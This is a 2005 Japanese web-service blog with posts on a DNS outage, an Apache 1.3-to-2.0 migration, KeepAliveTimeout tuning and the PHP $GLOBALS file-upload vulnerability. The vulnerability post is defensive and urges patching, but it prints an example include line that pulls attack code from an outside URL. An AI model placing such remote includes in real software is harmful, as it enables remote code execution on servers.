2005年12月10日
弊社サービスへの断続的なアクセス断についてのお詫び
本日 5:40 AM頃 ～ 7:43 AM頃 において、弊社サービスのすべてに断続的につながりにくい状態が発生していました。
ご迷惑をおかけしまして大変申し訳ございません。
障害の原因は、ホスティング委託先の DNS サーバー に障害が発生しため、正しく名前解決できない状態が断続的に発生したことによります。
なお、管理運営しております全サービスのサーバーにつきましては、障害が発生していないことを確認しております。
従いまして、ご利用いただいているアカウントなどには問題は発生していません。
この度は大変ご迷惑をおかけして申し訳ございませんでした。
DNS の管理なども含め、運用体制の強化に努めたいと思います。
引続き何卒よろしくお願いいたします。
投稿者 aka : 時刻 08:45 | 固定リンク | トラックバック
2005年11月11日
PHP: apache 1.3 ⇒ apache 2.0 に移行してもパフォーマンスは大丈夫？
先日、PHP4 で構築された とあるサービスのサーバーOSを変更しました。
一日 300万リクエストが来るので メモリの増設が必要だったのですが、同時に OS 変更 + apache バージョンアップも実施してみました。
＜前のサーバー＞
Pentium4 3.2G HT-on / メモリ 1GB / RAID 1 (HT: HyperThreading)
RedHat 9 (Linux 2.4系) + apache 1.3 + PHP4 (必要最小限のモジュールだけでコンパイルインストール）
＜新しいサーバー＞
Pentium4 3.0G HT-on / メモリ 2GB / RAID 1
CentOS 4.1 (Linux 2.6系) + apache 2.0 + PHP4 （何も考えず OS デフォルトの状態; prefork）
CPU の性能が若干落ちていますが、過去の経験からこの程度では差はでないはず。
不安だったのは、apache 2.0 のデフォルトインストールが果たしてどのくらいの負荷に耐えられるか、でした。
というのも旧サーバーでは、必要最小限のモジュールだけをコンパイルインストールしていたにも関わらず apache 同時起動プロセス数が 500 に達した時点でスワップが発生していました（同時に CPU 負荷も結構きつい状態に…）。
今回の主目的は最大同時起動プロセス 1000 までスワップ無しで耐えられるか、ということだったので、メモリを増やすと同時に apache と PHP の不要モジュールをカリカリに削ってコンパイルインストールするのが普通だと思います。
ただ、最近の OS のアップグレード方針を考えると、コンパイルインストールをしない方が運用面がはるかに楽になりますので、やっぱり(コンパイルインストールは)そろそろ避けたいわけです。。
そして(ちょっと古いのですが)次の記事などをみる限り「Linux 2.6 系で PHP4 を使うなら apache 2.0 で Pentium 4 HT-on でないとダメ」とすら読めるレポートもあったりします。
Apache 2.0 + Kernel 2.6 + Pentium 4でマルチスレッド性能をはかる - MYCOM PC WEB
（つまり、それ以外の環境なら、apache 1.3 + Pentium 4 HT-off の方がマシ、というわけです）
（実際、別のサーバーで Linux 2.6 系 + apache 2.0 + HT-off を試して かなりイタイ目に遭っていたりもします ^^;）
ということで、おそるおそる試験してみたところ・・・まさに杞憂。
メモリ倍増した分だけプロセスも倍起動するようになり、CPU も比較的余裕があるので Load Average も問題なし。
実際、本番運用してみても、まったく問題なく動作しています。素晴らしい。
ということで、PHP でアプリケーション構築する場合には Linux 2.6 系 + apache 2.0 + Pentium4 HT-on という構成をそのまま使っても大丈夫そうです。
＃といっても、これから Linux 2.4 系や apache 1.3 系を選択する人は少なそうですが・・・
＃旧システムの移行の際のご参考まで、ということで ^^
＃ちなみにPHP5 はちょっと不安でまだ試せていません。。^^;
＃なお、セキュリティパッチの問題などもありますので、いずれにせよコンパイルインストールの手段も「持っておく」ことは重要だと思います。
投稿者 aka : 時刻 11:17 | 固定リンク | コメント (1) | トラックバック
2005年11月02日
PHPに“最悪”のセキュリティ・ホール
PHPに“最悪”のセキュリティ・ホール，全ユーザーは今すぐ対処を
というニュースがでています。
かなり緊張感高まる見出しですが、夕方の記事ではこんな感じ。
元記事「Advisory 20/2005: PHP File-Upload $GLOBALS Overwrite Vulnerability」を解釈して注意点を列挙してみるとこんな感じでしょうか。
・ファイルのアップロード機能が無いWebサイトも影響を受けます
ファイルアップロードに起因した不具合ですがどんなWebサイトも対象になります。
（ローカルでファイルアップロードの POST コードを作って、攻撃サイトに投げればＯＫ）
・PEAR を使っていると危険度が増します。
PEAR に限らず、オープンソースなライブラリを使っていると、攻撃箇所を探される可能性
があります（PEAR や vBulletin は簡単に攻撃できるところがあるとのこと）。
簡単なんで書いてしまいますが PHP で
include("http://myserver.com/attackcode.php");
というような外部ソースを include することが許可されていて、PEAR では一部の include パスを Global 変数で指定するようなコードが含まれているとのこと。
で、File-Upload を投げて Global 変数を書き換えてしまえば・・・orz. という感じです（と思う）。
PEAR.php を使っていなければ削除したほうがいいですし、使っているなら早急なパッチ当てを検討したほうがいいでしょう。
そうでないサイトも、できるだけパッチ当てを、という感じです。
＃ニュースタイトルにびっくりしてバタバタ調べましたので、間違いあればご指摘ください ^^;
投稿者 aka : 時刻 18:43 | 固定リンク | トラックバック
2005年10月28日
サーバーメンテナンスのお知らせ
直前の連絡で申し訳ございませんが、今週末にサーバーメンテナンスを実施いたします。
慎重に作業していきますので、何卒よろしくお願いします。
（おっと、このブログ・・・最近全然更新できてない・・・orz...頑張ります）
投稿者 aka : 時刻 10:50 | 固定リンク | コメント (2) | トラックバック
2005年09月30日
apacheのKeepAliveTimeoutを変更してパフォーマンスが劇的にアップ
サービスをいろいろと運営しているので、サーバーの管理などにはそれなりのノウハウを持っている（つもり）だったのですのですが、最近いろいろと作業を怠っていたらサーバーの負荷が結構高い状態になっていました。
こんな感じ。
11:12:15 up 245 days, 22:52, 1 user, load average: 2.71, 2.54, 2.54
1005 processes: 1002 sleeping, 3 running, 0 zombie, 0 stopped
CPU0 states: 97.0% user 1.0% system 0.0% nice 0.0% iowait 0.1% idle
CPU1 states: 94.0% user 5.0% system 0.0% nice 0.0% iowait 0.1% idle
Mem: 1029724k av, 1020676k used, 9048k free, 0k shrd, 79764k buff
746444k actv, 20k in_d, 21644k in_c
Swap: 2096472k av, 1048464k used, 1048008k free 164904k cache
PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME CPU COMMAND
25928 root 15 0 1036 232 212 S 99.9 0.0 2839m 1 libhttpd.ep
vmstat などを見るまでもなく、プロセス数が多くてスワップを食いつぶしているのがわかります。
対処方法としては
- メモリを増やす
- プロセスを減らす
のどちらかになるわけです（プロセスサイズはダイエットしているのでこれ以上は小さくならない…）。
＃もとはといえば、MaxClients の値が大きすぎ、、なわけですが・・・ ^^;
で、こちらで運営しているサービスの特徴を考えると、どれも「ショートトランザクション」。
つまり、1クライアントからの1アクセスで複数回のリクエストがほとんど発生しない、というものです。
となると、apache の設定で KeepAliveTimeout を調整してみようということになります。
さて、せっかくなので、ここからもう少し理論的(?)に落としてみます （ついてきてください ^^;）。
現在サーバーの KeepAliveTimeout は 15秒です。
で、立ち上がっているプロセス数 1000 個のほとんどは apache プロセスだと仮定すると、現在サーバーはあっぷあっぷなので、平均してサーバーは1つのリクエストを処理するのに
15
-------- = 0.015 sec
1000
かかっているということになります。
で、このサーバーは一日 300万 (!) のリクエストがあるので、お客さんは平均して
60*60*24
---------- = 0.030 sec
300万
秒おきに到着することになります。
すると、単純な待ち行列理論から、サーバーの利用率ρは
ρ = 平均サービス時間 / 平均到着間隔 = 0.015 / 0.030 = 0.5
となります。
すると待ち行列の長さは、ρ/(1-ρ) ＝ 1 となり、これは「いつこのサーバーにいっても、たいてい１人待ってる」状態となります。まさにあっぷあっぷ。
（ロードアベレージ上ではもう少し大きい値(2.7)になっていますが、これは実行中のジョブも含んでいる（CPU2つあるので、2を引きます）ので「たいてい 2.7 - 2(実行中) = 0.7 人待ってる」状態ということを意味しています。日中の閑散時間帯であることを考慮すると、概ね計算が合います）。
が、これはランダムに人が到着する場合ですので、夜11時にアクセスが集中するような サービス の場合、正直この「利用率 0.5」というのはかなり危険ゾーンだったりします。
アクセスが集中して、予想の倍の来客があれば 到着間隔 = 処理時間 となり、待ち行列は増える一方、サーバーは完全にダウン、となるからです。
Load Average でいえば CPU 数 x 1.5 を慢性的に超えるようになったら赤信号ということですね。
ということで、KeepAliveTimeout を見直して、「10」に変更してみます（本当はもっと小さくてもいいのですが、とりあえず無駄なプロセスが減ればいいので、ここは少しづつ変更していきます。）
すると、こんな感じになりました。
12:06:15 up 245 days, 23:46, 1 user, load average: 0.31, 0.25, 0.61
352 processes: 350 sleeping, 2 running, 0 zombie, 0 stopped
CPU0 states: 14.0% user 1.0% system 0.0% nice 0.0% iowait 83.0% idle
CPU1 states: 5.0% user 0.1% system 0.0% nice 0.0% iowait 93.0% idle
Mem: 1029724k av, 717156k used, 312568k free, 0k shrd, 89340k buff
468244k actv, 25960k in_d, 14452k in_c
Swap: 2096472k av, 89192k used, 2007280k free 188448k cache
PID USER PRI NI SIZE RSS SHARE STAT %CPU %MEM TIME CPU COMMAND
16483 root 16 0 2104 1348 1276 S 22.0 0.1 9:58 0 libhttpd.ep
劇的に改善！です。
計算上はサーバーの処理時間が 2/3 になるので、待ち行列の長さは半分の 0.5 になります。
が、実際には、サーバー処理時間が短くなったことにより、待ち行列が伸びる可能性が劇的に削減され、結果的にプロセス数が半分以下におち、swap もほとんど消費することがなくなるという好循環がおこったようで、パフォーマンスが相当改善されたというわけです。
もちろん、他にもいろいろと複合要因があるとは思うのですが、パラメータ一つでこれだけ改善されたことにちょっとびっくり。
みなさんも サーバーの増強を考えるまえに、チューニングの見直しも検討してみてはいかがでしょうか。
